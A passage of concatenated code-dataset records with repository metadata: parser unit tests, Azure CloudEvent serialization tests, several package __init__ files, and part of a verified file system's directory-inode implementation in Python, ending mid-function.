InputParser("blah blah arg1=val1 arg2=val2 arg3=val3") assert p.remaining_text == "blah blah" assert p.get_arg_by_names(["arg4"]) is None assert p.args_dict["arg1"] == "val1" assert p.args_dict["arg2"] == "val2" assert p.args_dict["arg3"] == "val3" def test_get_arg_by_names_one_match(): p = InputParser("blah blah arg1=val1 arg2=val2 arg3=val3") assert p.remaining_text == "blah blah" assert p.get_arg_by_names(["arg4", "arg5", "arg3"]) == "val3" assert p.args_dict["arg1"] == "val1" assert p.args_dict["arg2"] == "val2" assert p.args_dict["arg3"] == "val3" def test_get_arg_by_names_first_match(): p = InputParser("blah blah arg1=val1 arg2=val2 arg3=val3") assert p.remaining_text == "blah blah" assert p.get_arg_by_names(["arg1", "arg2"]) == "val1" assert p.args_dict["arg1"] == "val1" assert p.args_dict["arg2"] == "val2" assert p.args_dict["arg3"] == "val3" def test_parse_string_no_numbers(): p = InputParser("blah bloo blee") assert p.remaining_text == "blah bloo blee" assert len(p.args_dict) == 0 assert len(p.string_words) == 3 assert len(p.number_words) == 0 assert p.string_words == ["blah", "bloo", "blee"] def test_parse_string_all_numbers(): p = InputParser("5 421 8916 34.5 -3") assert p.remaining_text == "5 421 8916 34.5 -3" assert len(p.args_dict) == 0 assert len(p.string_words) == 0 assert len(p.number_words) == 5 assert p.number_words == [5, 421, 8916, 34.5, -3] def test_parse_string_mix_of_numbers_and_args(): p = InputParser("blah blah arg1=val1 arg2=val2 5") assert p.remaining_text == "blah blah 5" assert p.args_dict["arg1"] == "val1" assert p.args_dict["arg2"] == "val2" assert p.string_words == ["blah", "blah"] assert p.number_words == [5]

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bf2859bbafc3ca91fa79fd64e27f7a27f09f2561

47

py

Python

rangefinder/bosch/requests/__init__.py

tothcs1105/BOSCH-GLM-rangefinder

419179bd63be97060d91cb87b075da47610dfbfb

[ "MIT" ]

1

2020-08-03T15:31:13.000Z

rangefinder/bosch/requests/__init__.py

tothcs1105/BOSCH-GLM-rangefinder

419179bd63be97060d91cb87b075da47610dfbfb

[ "MIT" ]

null

rangefinder/bosch/requests/__init__.py

tothcs1105/BOSCH-GLM-rangefinder

419179bd63be97060d91cb87b075da47610dfbfb

[ "MIT" ]

null

from .bosch_request_192 import BoschRequest192

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bf35931c65651f21ad8881e8d248e199129cd1a7

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py

Python

sdk/core/azure-core/tests/test_messaging_cloud_event.py

ormichae/azure-sdk-for-python

15523b712402fc928ee58f2a5311ac9ea703699c

[ "MIT" ]

1

2021-04-26T21:15:01.000Z

sdk/core/azure-core/tests/test_messaging_cloud_event.py

ormichae/azure-sdk-for-python

15523b712402fc928ee58f2a5311ac9ea703699c

[ "MIT" ]

1

2021-01-19T22:41:38.000Z

sdk/core/azure-core/tests/test_messaging_cloud_event.py

ormichae/azure-sdk-for-python

15523b712402fc928ee58f2a5311ac9ea703699c

[ "MIT" ]

null

# ------------------------------------ # Copyright (c) Microsoft Corporation. # Licensed under the MIT License. # ------------------------------------ import pytest import json import datetime from azure.core.messaging import CloudEvent from azure.core._utils import _convert_to_isoformat from azure.core.serialization import NULL # Cloud Event tests def test_cloud_event_constructor(): event = CloudEvent( source='Azure.Core.Sample', type='SampleType', data='cloudevent' ) assert event.specversion == '1.0' assert event.time.__class__ == datetime.datetime assert event.id is not None assert event.source == 'Azure.Core.Sample' assert event.data == 'cloudevent' def test_cloud_event_constructor_unexpected_keyword(): with pytest.raises(ValueError) as e: event = CloudEvent( source='Azure.Core.Sample', type='SampleType', data='cloudevent', unexpected_keyword="not allowed", another_bad_kwarg="not allowed either" ) assert "unexpected_keyword" in e assert "another_bad_kwarg" in e def test_cloud_event_constructor_blank_data(): event = CloudEvent( source='Azure.Core.Sample', type='SampleType', data='' ) assert event.specversion == '1.0' assert event.time.__class__ == datetime.datetime assert event.id is not None assert event.source == 'Azure.Core.Sample' assert event.data == '' def test_cloud_event_constructor_NULL_data(): event = CloudEvent( source='Azure.Core.Sample', type='SampleType', data=NULL ) assert event.data == NULL assert event.data is NULL def test_cloud_event_constructor_none_data(): event = CloudEvent( source='Azure.Core.Sample', type='SampleType', data=None ) assert event.data == None def test_cloud_event_constructor_missing_data(): event = CloudEvent( source='Azure.Core.Sample', type='SampleType', ) assert event.data == None assert event.datacontenttype == None assert event.dataschema == None assert event.subject == None def test_cloud_storage_dict(): cloud_storage_dict = { "id":"a0517898-9fa4-4e70-b4a3-afda1dd68672", "source":"/subscriptions/{subscription-id}/resourceGroups/{resource-group}/providers/Microsoft.Storage/storageAccounts/{storage-account}", "data":{ "api":"PutBlockList", "client_request_id":"6d79dbfb-0e37-4fc4-981f-442c9ca65760", "request_id":"831e1650-001e-001b-66ab-eeb76e000000", "e_tag":"0x8D4BCC2E4835CD0", "content_type":"application/octet-stream", "content_length":524288, "blob_type":"BlockBlob", "url":"https://oc2d2817345i60006.blob.core.windows.net/oc2d2817345i200097container/oc2d2817345i20002296blob", "sequencer":"00000000000004420000000000028963", "storage_diagnostics":{"batchId":"b68529f3-68cd-4744-baa4-3c0498ec19f0"} }, "type":"Microsoft.Storage.BlobCreated", "time":"2021-02-18T20:18:10.581147898Z", "specversion":"1.0" } event = CloudEvent.from_dict(cloud_storage_dict) assert event.data == { "api":"PutBlockList", "client_request_id":"6d79dbfb-0e37-4fc4-981f-442c9ca65760", "request_id":"831e1650-001e-001b-66ab-eeb76e000000", "e_tag":"0x8D4BCC2E4835CD0", "content_type":"application/octet-stream", "content_length":524288, "blob_type":"BlockBlob", "url":"https://oc2d2817345i60006.blob.core.windows.net/oc2d2817345i200097container/oc2d2817345i20002296blob", "sequencer":"00000000000004420000000000028963", "storage_diagnostics":{"batchId":"b68529f3-68cd-4744-baa4-3c0498ec19f0"} } assert event.specversion == "1.0" assert event.time.__class__ == datetime.datetime assert event.time.month == 2 assert event.time.day == 18 assert event.time.hour == 20 assert event.time.microsecond == 581147 assert event.__class__ == CloudEvent assert "id" in cloud_storage_dict assert "data" in cloud_storage_dict def test_cloud_custom_dict_with_extensions(): cloud_custom_dict_with_extensions = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "data":{"team": "event grid squad"}, "type":"Azure.Sdk.Sample", "time":"2021-02-18T20:18:10.539861122+00:00", "specversion":"1.0", "ext1": "example", "ext2": "example2" } event = CloudEvent.from_dict(cloud_custom_dict_with_extensions) assert event.data == {"team": "event grid squad"} assert event.__class__ == CloudEvent assert event.time.month == 2 assert event.time.day == 18 assert event.time.hour == 20 assert event.time.microsecond == 539861 assert event.extensions == {"ext1": "example", "ext2": "example2"} def test_cloud_custom_dict_ms_precision_is_gt_six(): cloud_custom_dict_with_extensions = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "data":{"team": "event grid squad"}, "type":"Azure.Sdk.Sample", "time":"2021-02-18T20:18:10.539861122+00:00", "specversion":"1.0", } event = CloudEvent.from_dict(cloud_custom_dict_with_extensions) assert event.data == {"team": "event grid squad"} assert event.__class__ == CloudEvent assert event.time.month == 2 assert event.time.day == 18 assert event.time.hour == 20 assert event.time.microsecond == 539861 def test_cloud_custom_dict_ms_precision_is_lt_six(): cloud_custom_dict_with_extensions = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "data":{"team": "event grid squad"}, "type":"Azure.Sdk.Sample", "time":"2021-02-18T20:18:10.123+00:00", "specversion":"1.0", } event = CloudEvent.from_dict(cloud_custom_dict_with_extensions) assert event.data == {"team": "event grid squad"} assert event.__class__ == CloudEvent assert event.time.month == 2 assert event.time.day == 18 assert event.time.hour == 20 assert event.time.microsecond == 123000 def test_cloud_custom_dict_ms_precision_is_eq_six(): cloud_custom_dict_with_extensions = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "data":{"team": "event grid squad"}, "type":"Azure.Sdk.Sample", "time":"2021-02-18T20:18:10.123456+00:00", "specversion":"1.0", } event = CloudEvent.from_dict(cloud_custom_dict_with_extensions) assert event.data == {"team": "event grid squad"} assert event.__class__ == CloudEvent assert event.time.month == 2 assert event.time.day == 18 assert event.time.hour == 20 assert event.time.microsecond == 123456 def test_cloud_custom_dict_ms_precision_is_gt_six_z_not(): cloud_custom_dict_with_extensions = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "data":{"team": "event grid squad"}, "type":"Azure.Sdk.Sample", "time":"2021-02-18T20:18:10.539861122Z", "specversion":"1.0", } event = CloudEvent.from_dict(cloud_custom_dict_with_extensions) assert event.data == {"team": "event grid squad"} assert event.__class__ == CloudEvent assert event.time.month == 2 assert event.time.day == 18 assert event.time.hour == 20 assert event.time.microsecond == 539861 def test_cloud_custom_dict_ms_precision_is_lt_six_z_not(): cloud_custom_dict_with_extensions = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "data":{"team": "event grid squad"}, "type":"Azure.Sdk.Sample", "time":"2021-02-18T20:18:10.123Z", "specversion":"1.0", } event = CloudEvent.from_dict(cloud_custom_dict_with_extensions) assert event.data == {"team": "event grid squad"} assert event.__class__ == CloudEvent assert event.time.month == 2 assert event.time.day == 18 assert event.time.hour == 20 assert event.time.microsecond == 123000 def test_cloud_custom_dict_ms_precision_is_eq_six_z_not(): cloud_custom_dict_with_extensions = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e034", "source":"https://egtest.dev/cloudcustomevent", "data":{"team": "event grid squad"}, "type":"Azure.Sdk.Sample", "time":"2021-02-18T20:18:10.123456Z", "specversion":"1.0", } event = CloudEvent.from_dict(cloud_custom_dict_with_extensions) assert event.data == {"team": "event grid squad"} assert event.__class__ == CloudEvent assert event.time.month == 2 assert event.time.day == 18 assert event.time.hour == 20 assert event.time.microsecond == 123456 def test_cloud_custom_dict_blank_data(): cloud_custom_dict_with_extensions = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "data":'', "type":"Azure.Sdk.Sample", "time":"2021-02-18T20:18:10+00:00", "specversion":"1.0", } event = CloudEvent.from_dict(cloud_custom_dict_with_extensions) assert event.data == '' assert event.__class__ == CloudEvent def test_cloud_custom_dict_no_data(): cloud_custom_dict_with_missing_data = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "type":"Azure.Sdk.Sample", "time":"2021-02-18T20:18:10+00:00", "specversion":"1.0", } event = CloudEvent.from_dict(cloud_custom_dict_with_missing_data) assert event.__class__ == CloudEvent assert event.data is None def test_cloud_custom_dict_null_data(): cloud_custom_dict_with_none_data = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "type":"Azure.Sdk.Sample", "data":None, "dataschema":None, "time":"2021-02-18T20:18:10+00:00", "specversion":"1.0", } event = CloudEvent.from_dict(cloud_custom_dict_with_none_data) assert event.__class__ == CloudEvent assert event.data == NULL assert event.dataschema is NULL def test_cloud_custom_dict_valid_optional_attrs(): cloud_custom_dict_with_none_data = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "type":"Azure.Sdk.Sample", "data":None, "dataschema":"exists", "time":"2021-02-18T20:18:10+00:00", "specversion":"1.0", } event = CloudEvent.from_dict(cloud_custom_dict_with_none_data) assert event.__class__ == CloudEvent assert event.data is NULL assert event.dataschema == "exists" def test_cloud_custom_dict_both_data_and_base64(): cloud_custom_dict_with_data_and_base64 = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "data":"abc", "data_base64":"Y2Wa==", "type":"Azure.Sdk.Sample", "time":"2021-02-18T20:18:10+00:00", "specversion":"1.0", } with pytest.raises(ValueError): event = CloudEvent.from_dict(cloud_custom_dict_with_data_and_base64) def test_cloud_custom_dict_base64(): cloud_custom_dict_base64 = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "data_base64":'Y2xvdWRldmVudA==', "type":"Azure.Sdk.Sample", "time":"2021-02-23T17:11:13.308772-08:00", "specversion":"1.0" } event = CloudEvent.from_dict(cloud_custom_dict_base64) assert event.data == b'cloudevent' assert event.specversion == "1.0" assert event.time.hour == 17 assert event.time.minute == 11 assert event.time.day == 23 assert event.time.tzinfo is not None assert event.__class__ == CloudEvent def test_data_and_base64_both_exist_raises(): with pytest.raises(ValueError): CloudEvent.from_dict( {"source":'sample', "type":'type', "data":'data', "data_base64":'Y2kQ==' } ) def test_cloud_event_repr(): event = CloudEvent( source='Azure.Core.Sample', type='SampleType', data='cloudevent' ) assert repr(event).startswith("CloudEvent(source=Azure.Core.Sample, type=SampleType, specversion=1.0,") def test_extensions_upper_case_value_error(): with pytest.raises(ValueError): event = CloudEvent( source='sample', type='type', data='data', extensions={"lowercase123": "accepted", "NOTlower123": "not allowed"} ) def test_extensions_not_alphanumeric_value_error(): with pytest.raises(ValueError): event = CloudEvent( source='sample', type='type', data='data', extensions={"lowercase123": "accepted", "not@lph@nu^^3ic": "not allowed"} ) def test_cloud_from_dict_with_invalid_extensions(): cloud_custom_dict_with_extensions = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "source":"https://egtest.dev/cloudcustomevent", "data":{"team": "event grid squad"}, "type":"Azure.Sdk.Sample", "time":"2020-08-07T02:06:08.11969Z", "specversion":"1.0", "ext1": "example", "BADext2": "example2" } with pytest.raises(ValueError): event = CloudEvent.from_dict(cloud_custom_dict_with_extensions) def test_cloud_custom_dict_ms_precision_is_gt_six(): time ="2021-02-18T20:18:10.539861122+00:00" date_obj = _convert_to_isoformat(time) assert date_obj.month == 2 assert date_obj.day == 18 assert date_obj.hour == 20 assert date_obj.microsecond == 539861 def test_cloud_custom_dict_ms_precision_is_lt_six(): time ="2021-02-18T20:18:10.123+00:00" date_obj = _convert_to_isoformat(time) assert date_obj.month == 2 assert date_obj.day == 18 assert date_obj.hour == 20 assert date_obj.microsecond == 123000 def test_cloud_custom_dict_ms_precision_is_eq_six(): time ="2021-02-18T20:18:10.123456+00:00" date_obj = _convert_to_isoformat(time) assert date_obj.month == 2 assert date_obj.day == 18 assert date_obj.hour == 20 assert date_obj.microsecond == 123456 def test_cloud_custom_dict_ms_precision_is_gt_six_z_not(): time ="2021-02-18T20:18:10.539861122Z" date_obj = _convert_to_isoformat(time) assert date_obj.month == 2 assert date_obj.day == 18 assert date_obj.hour == 20 assert date_obj.microsecond == 539861 def test_cloud_custom_dict_ms_precision_is_lt_six_z_not(): time ="2021-02-18T20:18:10.123Z" date_obj = _convert_to_isoformat(time) assert date_obj.month == 2 assert date_obj.day == 18 assert date_obj.hour == 20 assert date_obj.microsecond == 123000 def test_cloud_custom_dict_ms_precision_is_eq_six_z_not(): time ="2021-02-18T20:18:10.123456Z" date_obj = _convert_to_isoformat(time) assert date_obj.month == 2 assert date_obj.day == 18 assert date_obj.hour == 20 assert date_obj.microsecond == 123456 def test_eventgrid_event_schema_raises(): cloud_custom_dict = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "data":{"team": "event grid squad"}, "dataVersion": "1.0", "subject":"Azure.Sdk.Sample", "eventTime":"2020-08-07T02:06:08.11969Z", "eventType":"pull request", } with pytest.raises(ValueError, match="The event you are trying to parse follows the Eventgrid Schema. You can parse EventGrid events using EventGridEvent.from_dict method in the azure-eventgrid library."): CloudEvent.from_dict(cloud_custom_dict) def test_wrong_schema_raises_no_source(): cloud_custom_dict = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "data":{"team": "event grid squad"}, "type":"Azure.Sdk.Sample", "time":"2020-08-07T02:06:08.11969Z", "specversion":"1.0", } with pytest.raises(ValueError, match="The event does not conform to the cloud event spec https://github.com/cloudevents/spec. The `source` and `type` params are required."): CloudEvent.from_dict(cloud_custom_dict) def test_wrong_schema_raises_no_type(): cloud_custom_dict = { "id":"de0fd76c-4ef4-4dfb-ab3a-8f24a307e033", "data":{"team": "event grid squad"}, "source":"Azure/Sdk/Sample", "time":"2020-08-07T02:06:08.11969Z", "specversion":"1.0", } with pytest.raises(ValueError, match="The event does not conform to the cloud event spec https://github.com/cloudevents/spec. The `source` and `type` params are required."): CloudEvent.from_dict(cloud_custom_dict)

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bf36070bff2fa85316322d8702a57f9c5a396ba4

109

py

Python

texterrors/__init__.py

ishine/texterrors

adabb0256bce27d6052677213556fa436638bada

[ "Apache-2.0" ]

25

2020-10-20T16:47:15.000Z

2022-02-12T21:14:17.000Z

texterrors/__init__.py

ishine/texterrors

adabb0256bce27d6052677213556fa436638bada

[ "Apache-2.0" ]

2

2021-12-02T04:47:59.000Z

2022-01-27T09:40:07.000Z

texterrors/__init__.py

ishine/texterrors

adabb0256bce27d6052677213556fa436638bada

[ "Apache-2.0" ]

7

2020-10-20T16:27:46.000Z

2021-06-25T17:02:58.000Z

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py

Python

venv/lib/python3.8/site-packages/debugpy/_vendored/pydevd/pydevd_attach_to_process/linux_and_mac/lldb_prepare.py

Retraces/UkraineBot

3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71

[ "MIT" ]

2

2022-03-13T01:58:52.000Z

2022-03-31T06:07:54.000Z

venv/lib/python3.8/site-packages/debugpy/_vendored/pydevd/pydevd_attach_to_process/linux_and_mac/lldb_prepare.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

19

2021-11-20T04:09:18.000Z

2022-03-23T15:05:55.000Z

venv/lib/python3.8/site-packages/debugpy/_vendored/pydevd/pydevd_attach_to_process/linux_and_mac/lldb_prepare.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

null

/home/runner/.cache/pip/pool/79/29/8b/d4a2cb3ab1bcaf8449c9539ddd44948eca6559774a4820a79c6c8655da

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null

1

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175a8a8dc1b681ce2bd13bf158a163c7428f34a4

58

py

Python

torchvision/transforms/__init__.py

koenvandesande/vision

f0d3daa7f65bcde560e242d9bccc284721368f02

[ "BSD-3-Clause" ]

1

2020-09-11T20:54:46.000Z

torchvision/transforms/__init__.py

GongXinyuu/vision

76702a03d6cc2e4f431bfd1914d5e301c07bd489

[ "BSD-3-Clause" ]

null

torchvision/transforms/__init__.py

GongXinyuu/vision

76702a03d6cc2e4f431bfd1914d5e301c07bd489

[ "BSD-3-Clause" ]

1

2020-09-11T20:54:56.000Z

from .transforms import * from .transforms_video import *

19.333333

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6

179b2e387292e2396c7507eaef8ac06d8d2d2bf1

45,061

py

Python

yggdrasil/dirinode.py

ProKil/OS2018spring-projects-g10

1977a2953fe648d187bc1d7302eac25eff79de03

[ "MIT" ]

4

2018-08-06T19:15:00.000Z

2021-06-06T00:04:13.000Z

yggdrasil/dirinode.py

ProKil/OS2018spring-projects-g10

1977a2953fe648d187bc1d7302eac25eff79de03

[ "MIT" ]

null

yggdrasil/dirinode.py

ProKil/OS2018spring-projects-g10

1977a2953fe648d187bc1d7302eac25eff79de03

[ "MIT" ]

7

2018-05-05T11:56:50.000Z

2020-03-20T15:41:03.000Z

import cython if not cython.compiled: import z3 from disk import * import errno from stat import S_IFDIR from collections import namedtuple #from diskspec import Bitmap, DirLookup, Allocator32 from dirspec import * #Disk = namedtuple('Disk', ['read', 'write']) class Disk(object): def __init__(self, dev, _txndisk): #super(Disk, self).__init__() self.dev = dev self._txndisk = _txndisk def read(self, bid): return self._txndisk._read(self.dev, bid) def write(self, bid, data): self._txndisk.write_tx(self.dev, bid, data) ''' class Orphans(object): def __init__(self, orphandisk): self._orphandisk = orphandisk def size(self): return self._orphandisk.read(0).__getitem__(0) def index(self, idx): orphanblock = self._orphandisk.read(0) #n = orphanblock[0] n = orphanblock.__getitem__(0) assertion(0 <= n, "orphan index: n is negative") assertion(n < 511, "orphan index: n >= 511") np = Extract(8, 0, idx) return orphanblock.__getitem__(np + 1) def reset(self): self._orphandisk.write(0, ConstBlock(0)) def clear(self, idx): orphanblock = self._orphandisk.read(0) np = Extract(8, 0, idx) #orphanblock[np] = 0 orphanblock.__setitem__(np, 0) self._orphandisk.write(0, orphanblock) def append(self, value): orphanblock = self._orphandisk.read(0) #n = orphanblock[0] n = orphanblock.__getitem__(0) assertion(0 <= n, "orphan index: n is negative") assertion(n < 511, "orphan index: n >= 511") np = Extract(8, 0, n) """ orphanblock[np + 1] = value orphanblock[0] = n + 1 """ orphanblock.__setitem__(np + 1, value) orphanblock.__setitem__(0, n + 1) self._orphandisk.write(0, orphanblock) ''' # this class is auto-generated from cpp code class Orphans: def __init__(self, orphandisk): self._orphandisk = orphandisk def size(self): return self._orphandisk.read(0).__getitem__(0) def index(self, idx): orphanblock = self._orphandisk.read(0) n = orphanblock.__getitem__(0) assertion(0 <= n) assertion(n < 511) np = Extract(8, 0, idx) return orphanblock.__getitem__(np + 1) def reset(self): self._orphandisk.write(0, ConstBlock(0)) def clear(self, idx): orphanblock = self._orphandisk.read(0) np = Extract(8, 0, idx) orphanblock.__setitem__(np, 0) self._orphandisk.write(0, orphanblock) def append(self, value): orphanblock = self._orphandisk.read(0) n = orphanblock.__getitem__(0) assertion(0 <= n) assertion(n < 511) np = Extract(8, 0, n) orphanblock.__setitem__(np + 1, value) orphanblock.__setitem__(0, n + 1) self._orphandisk.write(0, orphanblock) ''' class MyPIno(object): def __init__(self, inode): self.inode = inode def is_mapped(self, vbn, inode = None): if inode == None: return self.inode.is_mapped(vbn) return inode.is_mapped(vbn) def mappingi(self, vbn, inode = None): if inode == None: return self.inode.mappingi(vbn) return inode.mappingi(vbn) def read(self, bid, inode = None): if inode == None: return self.inode.read(bid) return inode.read(bid) def bmap(self, bid, inode = None): if inode == None: return self.inode.bmap(bid) return inode.bmap(bid) ''' # this class is auto-generated from cpp code class MyPIno: def __init__(self, _inode): self.inode = _inode def is_mapped(self, vbn, _inode=0): if _inode == 0: return self.inode.is_mapped(vbn) return _inode.is_mapped(vbn) def mappingi(self, vbn, _inode=0): if _inode == 0: return self.inode.mappingi(vbn) return _inode.mappingi(vbn) def read(self, bid, _inode=0): if _inode == 0: return self.inode.read(bid) return _inode.read(bid) def bmap(self, bid, _inode=0): if _inode == 0: return self.inode.bmap(bid) return _inode.bmap(bid) class Tuple2(object): def __init__(self, _a, _b): self.a = _a self.b = _b self.start = 0 def __getitem__(self, key): if key == 0: return self.a return self.b def __iter__(self): self.start = 0 return self def next(self): if self.start >= 2: raise StopIteration else: self.start += 1 return self.__getitem__(self.start - 1) class Tuple3(object): def __init__(self, _block, _bid, _off): self.block = _block self.bid = _bid self.off = _off self.start = 0 def __getitem__(self, key): if key == 0: return self.block if key == 1: return self.bid return self.off def __iter__(self): self.start = 0 return self def next(self): if self.start >= 3: raise StopIteration else: self.start += 1 return self.__getitem__(self.start - 1) def get_bid(self): return self.bid def get_off(self): return self.off def get_block(self): return self.block class Tuple4(object): def __init__(self, _block, _bid, _off, _valid): self.block = _block self.bid = _bid self.off = _off self.valid = _valid self.start = 0 def get_bid(self): return self.bid def get_off(self): return self.off def get_valid(self): return self.valid def get_block(self): return self.block def __getitem__(self, key): if key == 0: return self.block if key == 1: return self.bid if key == 2: return self.off return self.valid def __iter__(self): self.start = 0 return self def next(self): if self.start >= 4: raise StopIteration else: self.start += 1 return self.__getitem__(self.start - 1) ''' class DirImpl(object): # ============= begin =============== NBLOCKS = None IFREEDISK = None ORPHANS = None def __init__(self, txndisk, inode): self._txndisk = txndisk self._inode = inode self._dirlook = DirLook(MyPIno(inode)) self._ifree = Disk(DirImpl.IFREEDISK, self._txndisk) orphandisk = Disk(DirImpl.ORPHANS, self._txndisk) self._iallocator = Allocator32(self._ifree, 0, 1024) self._ibitmap = Bitmap(self._ifree) self._orphans = Orphans(orphandisk) def locate_dentry_ino(self, ino, name): tuple = self._dirlook.locate_dentry_ino(ino, name) ioff = tuple.__getitem__(0) off = tuple.__getitem__(1) assertion(ULT(ioff, 522)) assertion(ioff != 10) bid = self._inode.bmap(Concat32(ino, ioff)) block = self._inode.read(bid) valid = And(bid != 0, off % 16 == 0, Extract(31, 0, block.__getitem__(off)) != 0) i = 0 while i < 15: valid = And(valid, block.__getitem__(off + i + 1) == name.__getitem__(i)) i += 1 return Tuple4(block, bid, off, valid) def locate_empty_dentry_slot_ino(self, ino): tuple = self._dirlook.locate_empty_slot_ino(ino) ioff = tuple.__getitem__(0) off = tuple.__getitem__(1) assertion(ULT(ioff, 522)) assertion(ioff != 10) bid = self._inode.bmap(Concat32(ino, ioff)) block = self._inode.read(bid) assertion(bid != 0) assertion(off % 16 == 0) assertion(block.__getitem__(off) == 0) return Tuple3(block, bid, off) def locate_empty_dentry_slot_err_ino(self, ino): tuple = self._dirlook.locate_empty_slot_ino(ino) ioff = tuple.__getitem__(0) off = tuple.__getitem__(1) assertion(ULT(ioff, 522)) assertion(ioff != 10) bid = self._inode.bmap(Concat32(ino, ioff)) block = self._inode.read(bid) return Tuple4(block, bid, off, And(bid != 0, off % 16 == 0, block.__getitem__(off) == 0)) def write_dentry(self, block, off, ino, name): block.__setitem__(off, ino) i = 0 while i < 15: block.__setitem__(off + i + 1, name.__getitem__(i)) i += 1 def clear_dentry(self, block, off): i = 0 while i < 16: block.__setitem__(off + i, 0) i += 1 def ialloc(self): ino = self._iallocator.alloc() assertion(ino != 0) assertion(self.is_ifree(ino)) self._ibitmap.set_bit(ino) return ino def is_ifree(self, ino): return Not(self._ibitmap.is_set(ino)) def is_valid(self, ino): return And(ino != 0, self._ibitmap.is_set(ino), UGT(self.get_iattr(ino).nlink, 0)) def is_gcable(self, ino): return And(ino != 0, self._ibitmap.is_set(ino), self.get_iattr(ino).nlink == 0) def is_dir(self, ino): attr = self._inode.get_iattr(ino) return And(self.is_valid(ino), (attr.mode & S_IFDIR) != 0) def is_regular(self, ino): attr = self._inode.get_iattr(ino) return And(self.is_valid(ino), (attr.mode & S_IFDIR) == 0) def get_iattr(self, ino): return self._inode.get_iattr(ino) def set_iattr(self, ino, attr): self._inode.begin_tx() self._inode.set_iattr(ino, attr) self._inode.commit_tx() def read(self, ino, blocknum): attr = self.get_iattr(ino) bsize = attr.bsize is_mapped = self._inode.is_mapped(Concat32(ino, blocknum)) lbn = self._inode.mappingi(Concat32(ino, blocknum)) res = self._inode.read(lbn) zeroblock = ConstBlock(0) return If(And(is_mapped, ULT(blocknum, bsize)), res, zeroblock) def truncate(self, ino, fsize): target_bsize = fsize / 4096 + (fsize % 4096 != 0) attr = self._inode.get_iattr(ino) while attr.bsize > target_bsize: self._inode.begin_tx() self._inode.bunmap(Concat32(ino, attr.bsize - 1)) attr.size = Concat32(attr.bsize - 1, fsize) self._inode.set_iattr(ino, attr) self._inode.commit_tx() if attr.fsize > fsize: self._inode.begin_tx() attr.size = Concat32(attr.bsize, fsize) self._inode.set_iattr(ino, attr) self._inode.commit_tx() def write(self, ino, blocknum, v, size=BitVecVal(4096, 32)): assertion(ULT(blocknum, 522)) assertion(ULT(BitVecVal(0, 32), size)) assertion(ULE(size, BitVecVal(4096, 32))) assertion(self.is_regular(ino)) self._inode.begin_tx() bid = self._inode.bmap(Concat32(ino, blocknum)) self._inode.write(bid, v) attr = self._inode.get_iattr(ino) nsize = Concat32(blocknum + 1, blocknum * 4096 + size) update = ULE(attr.fsize, blocknum * 4096 + size) attr.size = If(update, nsize, attr.size) self._inode.set_iattr(ino, attr) self._inode.commit_tx() return size def lookup(self, parent, name): assertion(self.is_dir(parent)) self._inode.begin_tx() tp = self.locate_dentry_ino(parent, name) parent_block = tp.get_block() off = tp.get_off() valid = tp.get_valid() self._inode.commit_tx() return If(valid, Extract(31, 0, parent_block.__getitem__(off)), 0) def mknod(self, parent, name, mode, mtime): assertion(self.is_dir(parent)) assertion(name.__getitem__(0) != 0) self._inode.begin_tx() tp = self.locate_empty_dentry_slot_err_ino(parent) parent_block = tp.get_block() parent_bid = tp.get_bid() off = tp.get_off() valid = tp.get_valid() if Not(valid): self._inode.commit_tx() return Tuple2(0, errno.ENOSPC) ino = self.ialloc() attr = Stat(0, mtime, mode, 2) self._inode.set_iattr(ino, attr) attr = self._inode.get_iattr(parent) assertion(ULE(attr.bsize, 522)) attr.size = Concat32(BitVecVal(522, 32), BitVecVal(4096 * 522, 32)) assertion(ULT(attr.nlink, attr.nlink + 1)) attr.nlink += 1 self._inode.set_iattr(parent, attr) self.write_dentry(parent_block, off, ino, name) parent_block.__setitem__(off, ino) self._inode.write(parent_bid, parent_block) self._inode.commit_tx() return Tuple2(ino, 0) def unlink(self, parent, name): assertion(self.is_dir(parent)) assertion(name.__getitem__(0) != 0) self._inode.begin_tx() tp = self.locate_dentry_ino(parent, name) parent_block = tp.get_block() parent_bid = tp.get_bid() off = tp.get_off() valid = tp.get_valid() assertion(valid) attr = self._inode.get_iattr(parent) assertion(UGE(attr.nlink, 2)) attr.nlink -= 1 self._inode.set_iattr(parent, attr) ino = Extract(31, 0, parent_block.__getitem__(off)) attr = self._inode.get_iattr(ino) attr.nlink = 1 self._inode.set_iattr(ino, attr) self.clear_dentry(parent_block, off) self._inode.write(parent_bid, parent_block) self._orphans.append(Extend(ino, 64)) self._inode.commit_tx() return ino def rmdir(self, parent, name): assertion(self.is_dir(parent)) assertion(name.__getitem__(0) != 0) self._inode.begin_tx() tp = self.locate_dentry_ino(parent, name) parent_block = tp.get_block() parent_bid = tp.get_bid() off = tp.get_off() valid = tp.get_valid() if Not(valid): self._inode.commit_tx() return Tuple2(0, errno.ENOENT) assertion(valid) ino = Extract(31, 0, parent_block.__getitem__(off)) if 